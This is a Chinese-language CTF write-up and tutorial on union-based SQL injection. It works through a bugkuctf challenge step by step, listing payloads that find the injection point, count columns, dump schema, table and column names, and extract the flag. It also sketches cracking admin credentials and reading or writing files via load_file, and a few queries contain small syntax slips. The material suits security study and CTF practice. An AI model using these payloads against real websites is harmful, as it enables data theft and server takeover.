以bugkuctf平台的一道题为例:链接http://120.24.86.145:8002/chengjidan/
<http://120.24.86.145:8002/chengjidan/>

0)首先测试正常数据。
链接的结尾添加【?id=1(数字任意)】

1) 判断是否存在注入点;
【?id=32(数字任意)】链接的结尾依次添加语句【‘】、【and 1=1】和【and 1=2】
,来判断网站是否存在注入点。尝试在正常数据后加上单引号,发现数据为空,加上注释符(注释符:#,–+ , //, –
)后发现依旧可以正常输出,存在注入点。看是否报错,如果数据库报错,说明后台数据库处理了我们输入的数据,那么有可能存在注入点。

2) 判断字段长度;
在链接后面添加语句【 order by 11 (数字任意)】
,根据页面返回结果,来判断站点中的字段数目。该题中已经有四处回显(名字和3科分数),所以就猜4和5,得知查询结果中有四列

3)判断字段回显位置;
在链接后面添加语句【 union select 1,2,3,4,5,6,7,8,9,10,11#】
进行联合查询(联合查询时记得把前面的查询为空)来暴露可查询的字段号。

该题四处都有回显
3) 判断数据库信息;
利用内置函数暴数据库信息
version()版本;database()数据库;user()用户;
不用猜解可用字段暴数据库信息(有些网站不适用):
and 1=2 union all select version()
and 1=2 union all select database()
and 1=2 union all select user()
操作系统信息:and 1=2 union all select @@global.version_compile_os from mysql.user
数据库权限:
and ord(mid(user(),1,1))=114 返回正常说明为root
4) 查找数据库名;
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息union select
information_schema from information_schema.schemata (语句在显示位)
该题看一下数据库信息,库名为skctf_flag

5) 查找数据库表名;
union select group_concat(table_name) from information_schema.tables where
table_schema=database()

该题语句为【-1’ union select 1,(select group_concat(table_name) from
information_schema.tables where table_schema=database()),3,4#】得知表名为fl4g
6) 查找列名
【-1' union select 1,(select group_concat(column_name) from
information_schema.columnswhere table_name='fl4g'),3,4#】

7)知道表名知道列名,获取数据
-1' union select 1,(select skctf_flag from fl4g),3,4#
得出flag
8) 查找数据库表中所有字段以及字段值;
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from
information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit
0(开始的记录,0为第一个开始记录),1(显示1条记录)—
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from
information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1
9) 猜解账号密码;
10) 登陆管理员后台。
读文件: union select 绝对路径 load_file
写入文件:union select

友情链接
ioDraw流程图
API参考文档
OK工具箱
云服务器优惠
阿里云优惠券
腾讯云优惠券
华为云优惠券
站点信息
问题反馈
邮箱:ixiaoyang8@qq.com
QQ群:637538335
关注微信